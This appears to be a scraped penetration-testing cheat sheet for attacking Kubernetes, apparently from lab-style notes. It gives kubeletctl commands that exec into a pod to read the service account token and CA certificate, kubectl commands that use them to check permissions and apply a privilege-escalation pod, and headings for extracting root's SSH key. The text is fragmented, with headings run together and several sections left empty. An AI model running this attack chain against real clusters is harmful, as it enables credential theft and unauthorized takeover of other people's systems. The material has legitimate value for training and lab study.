kubernetes
Tool
https://github.com/cyberark/kubeletctlExtracting tokens
kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.tokenExtracting certificates
kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crtLoad token
export token=`cat k8.token`kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --listCreate new pod
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yamlkubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get podsExtracting root's SSH key
Access Kubelet API (pods list)
Kubeletctl (pods list)
Kubeletctl (scan for RCE)
Kubeletctl (execute command in pod)
Kubeletctl (extract token)
Kubeletctl (extract certificate)
Set token variable
Check Kubernetes access rights (kubectl)
Apply pod YAML (kubectl)
Get pods (kubectl)
Kubeletctl (execute command in privileged pod)
Basic kubectl commands
Key Concepts:
Last updated